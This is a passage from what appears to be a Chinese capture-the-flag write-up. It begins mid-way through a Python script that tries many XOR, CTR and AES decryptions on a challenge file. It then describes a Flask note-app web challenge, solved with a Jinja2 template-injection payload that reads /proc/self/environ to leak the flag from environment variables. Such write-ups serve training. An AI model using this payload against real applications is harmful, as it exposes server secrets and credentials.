FOUND! nonce='{nonce_src}' ctr={ctr_sz}B {fmt}") print(txt) found = True break except: pass # Try raw text try: txt = dec.decode('utf-8', errors='replace') if txt[:4] == '====': print(f"\n>>> RAW FOUND! nonce='{nonce_src}' ctr={ctr_sz}B {fmt}") print(txt) found = True break except: pass if found: break # ---- Other approaches ---- if not found: print("\n=== Trying alternative approaches ===") # moonlight as XOR before CTR ml = hashlib.sha256(b'moonlight').digest() xored = bytearray() for i, b in enumerate(ct): xored.append(b ^ ml[i % 32]) for nonce_src in ['', 'moonlight', 'ZGRMOON2']: no = nonce_src.encode() for fmt in ['>I', '>Q']: dec = xor_sha256_ctr(bytes(xored), key, no, 4, fmt) try: plain = zlib.decompress(dec) txt = plain.decode() print(f"2pass XOR(moonlight)+CTR nonce='{nonce_src}' {fmt}: {txt[:200]}") found = True except: pass # Direct XOR with key (no CTR) result = bytearray() for i, b in enumerate(ct): result.append(b ^ key[i % 32]) dec = bytes(result) try: plain = zlib.decompress(dec) txt = plain.decode() print(f"Direct XOR key: {txt[:200]}") found = True except: pass # moonlight as direct XOR key result = bytearray() for i, b in enumerate(ct): result.append(b ^ b'moonlight'[i % 9]) dec = bytes(result) try: plain = zlib.decompress(dec) txt = plain.decode() print(f"Direct XOR 'moonlight': {txt[:200]}") found = True except: pass # Try AES from Crypto.Cipher import AES from Crypto.Util import Counter as AESCounter pad16 = lambda s: (s.encode() + b'\x00' * 16)[:16] for nonce_src in ['moonlight', 'ZGRMOON2', '']: n = pad16(nonce_src) try: ctr = AESCounter.new(128, initial_value=int.from_bytes(n, 'big')) cipher = AES.new(key, AES.MODE_CTR, counter=ctr) dec = cipher.decrypt(ct) try: plain = zlib.decompress(dec) txt = plain.decode() print(f"AES-CTR zlib nonce='{nonce_src}': {txt[:200]}") found = True except: pass except: pass # Try with full file (including header) for nonce_src in ['moonlight', 'ZGRMOON2']: no = nonce_src.encode() dec = xor_sha256_ctr(ct_full, key, no, 4, '>I') try: plain = zlib.decompress(dec) txt = plain.decode() print(f"FULL FILE ZLIB nonce='{nonce_src}': {txt[:200]}") found = True except: pass if not found: print("Still not found! Dumping candidate outputs:") for nonce_src in ['moonlight', 'ZGRMOON2', '']: no = nonce_src.encode() for fmt in ['>I', '>Q']: dec = xor_sha256_ctr(ct, key, no, 4, fmt) print(f"\nnonce='{nonce_src}' {fmt}:") print(f" hex[0:64]={dec[:64].hex()}") print(f" raw[0:64]={repr(dec[:64])}")
Web
Web_01.Space Notes / 星际便签
题目描述:
ZeroG 空间站内部有一个轻量级便签系统,用来记录轨道修正、实验安排和临时消息。
工程师说这个系统只提供:
- 登录
- 写便签
- 预览便签
- 管理员面板
看起来只是一个普通 Flask 小应用。 但 Fen 留下了一句很奇怪的话: “如果模板会说话,那它也许会泄露秘密。”
请拿到管理员权限,读取动态 flag。
预览功能会把用户输入当作模板渲染。
Flask/Jinja2 模板上下文里可能有你想要的配置项。
解题:
有一个快的思路使用 SSTI 直接读取环境变量或文件,因为 flag 可能在环境变量 FLAG 中
读取环境变量
{{ get_flashed_messages.__globals__.__builtins__.open("/proc/self/environ").read() }}



浙公网安备 33010602011771号